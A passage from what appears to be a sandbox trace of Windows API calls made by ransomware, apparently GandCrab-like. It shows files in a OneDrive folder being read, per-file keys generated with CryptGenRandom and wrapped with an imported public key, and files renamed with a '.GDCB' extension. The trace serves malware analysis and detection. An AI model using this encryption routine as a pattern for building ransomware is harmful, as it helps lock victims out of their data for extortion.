(hProv=0x5c4980, dwFlags=0x0) returned 1 [0181.530] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AppWhite.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\appwhite.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0181.533] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5600000 [0181.534] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5610000 [0181.534] ReadFile (in: hFile=0x514, lpBuffer=0x5610000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5610000*, lpNumberOfBytesRead=0x285d3e8*=0xbeb, lpOverlapped=0x0) returned 1 [0181.553] VirtualAlloc (lpAddress=0x0, dwSize=0xbf0, flAllocationType=0x3000, flProtect=0x4) returned 0x5720000 [0181.557] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AppWhite.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\appwhite.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AppWhite.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\appwhite.png.gdcb")) returned 1 [0181.565] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0181.566] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.567] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.567] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0181.567] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0181.567] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0181.568] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.569] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.569] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0181.569] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0181.569] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0181.571] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2c708) returned 1 [0181.571] CryptGetKeyParam (in: hKey=0x4f2c708, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0181.571] CryptEncrypt (in: hKey=0x4f2c708, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x55e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0181.571] GetLastError () returned 0x0 [0181.571] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0181.571] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0181.573] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2cac8) returned 1 [0181.573] CryptGetKeyParam (in: hKey=0x4f2cac8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0181.573] CryptEncrypt (in: hKey=0x4f2cac8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x55f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0181.600] GetLastError () returned 0x0 [0181.600] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0181.600] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AutoPlayOptIn.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\autoplayoptin.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0181.602] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5600000 [0181.603] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5610000 [0181.604] ReadFile (in: hFile=0x514, lpBuffer=0x5610000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5610000*, lpNumberOfBytesRead=0x285d3e8*=0x5d8f6, lpOverlapped=0x0) returned 1 [0181.639] VirtualAlloc (lpAddress=0x0, dwSize=0x5d900, flAllocationType=0x3000, flProtect=0x4) returned 0x5720000 [0181.652] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AutoPlayOptIn.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\autoplayoptin.gif"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AutoPlayOptIn.gif.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\autoplayoptin.gif.gdcb")) returned 0 [0181.657] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0181.658] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.659] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.659] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0181.659] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0181.659] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0181.660] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.661] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.661] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0181.661] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0181.661] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0181.663] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2c908) returned 1 [0181.663] CryptGetKeyParam (in: hKey=0x4f2c908, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0181.663] CryptEncrypt (in: hKey=0x4f2c908, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x55e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0181.664] GetLastError () returned 0x0 [0181.664] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0181.664] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0181.665] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2ca08) returned 1 [0181.666] CryptGetKeyParam (in: hKey=0x4f2ca08, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0181.666] CryptEncrypt (in: hKey=0x4f2ca08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x55f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0181.666] GetLastError () returned 0x0 [0181.666] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0181.666] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AutoPlayOptIn.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\autoplayoptin.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0181.668] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5600000 [0181.669] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5610000 [0181.670] ReadFile (in: hFile=0x514, lpBuffer=0x5610000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5610000*, lpNumberOfBytesRead=0x285d3e8*=0x27f2, lpOverlapped=0x0) returned 1 [0181.744] VirtualAlloc (lpAddress=0x0, dwSize=0x2800, flAllocationType=0x3000, flProtect=0x4) returned 0x5720000 [0181.749] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AutoPlayOptIn.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\autoplayoptin.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AutoPlayOptIn.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\autoplayoptin.png.gdcb")) returned 0 [0181.765] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0181.766] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.767] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.767] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0181.767] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0181.767] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0181.768] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.769] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.769] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0181.769] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0181.769] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0181.771] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2cbc8) returned 1 [0181.772] CryptGetKeyParam (in: hKey=0x4f2cbc8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0181.772] CryptEncrypt (in: hKey=0x4f2cbc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x55e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0181.772] GetLastError () returned 0x0 [0181.772] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0181.772] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0181.774] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2cb08) returned 1 [0181.774] CryptGetKeyParam (in: hKey=0x4f2cb08, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0181.774] CryptEncrypt (in: hKey=0x4f2cb08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x55f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0181.775] GetLastError () returned 0x0 [0181.775] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0181.775] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\ElevatedAppBlue.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\elevatedappblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0181.777] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5600000 [0181.778] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5610000 [0181.779] ReadFile (in: hFile=0x514, lpBuffer=0x5610000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5610000*, lpNumberOfBytesRead=0x285d3e8*=0x1cd7, lpOverlapped=0x0) returned 1 [0181.806] VirtualAlloc (lpAddress=0x0, dwSize=0x1ce0, flAllocationType=0x3000, flProtect=0x4) returned 0x5720000 [0181.810] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\ElevatedAppBlue.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\elevatedappblue.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\ElevatedAppBlue.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\elevatedappblue.png.gdcb")) returned 0 [0181.813] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0181.814] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.815] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.815] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0181.815] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0181.815] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0181.816] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.817] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.817] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0181.817] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0181.817] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0181.819] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2c988) returned 1 [0181.819] CryptGetKeyParam (in: hKey=0x4f2c988, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0181.819] CryptEncrypt (in: hKey=0x4f2c988, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x55e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0181.819] GetLastError () returned 0x0 [0181.819] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0181.819] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0181.821] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2ca48) returned 1 [0181.821] CryptGetKeyParam (in: hKey=0x4f2ca48, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0181.821] CryptEncrypt (in: hKey=0x4f2ca48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x55f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x55f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0181.821] GetLastError () returned 0x0 [0181.821] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0181.821] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\ElevatedAppWhite.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\elevatedappwhite.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0181.828] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0181.830] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.831] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.831] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0181.831] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0181.831] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0181.832] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.832] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0181.832] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0181.832] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0181.833] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0181.835] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2cd88) returned 1 [0181.835] CryptGetKeyParam (in: hKey=0x4f2cd88, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0181.835] CryptEncrypt (in: hKey=0x4f2cd88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5600000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5600000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0181.835] GetLastError () returned 0x0 [0181.835] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0181.835] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0181.837] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2cf88) returned 1 [0181.837] CryptGetKeyParam (in: hKey=0x4f2cf88, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0181.837] CryptEncrypt (in: hKey=0x4f2cf88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5610000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5610000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0181.837] GetLastError () returned 0x0 [0181.837] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0181.837] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\Error.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\error.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0181.839] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5620000 [0181.840] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5630000 [0181.841] ReadFile (in: hFile=0x514, lpBuffer=0x5630000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5630000*, lpNumberOfBytesRead=0x285d3e8*=0x1e64, lpOverlapped=0x0) returned 1 [0181.859] VirtualAlloc (lpAddress=0x0, dwSize=0x1e70, flAllocationType=0x3000, flProtect=0x4) returned 0x5740000 [0181.864] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\Error.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\error.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\Error.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\error.png.gdcb")) returned 1 [0181.868] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0181.870] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0181.870] 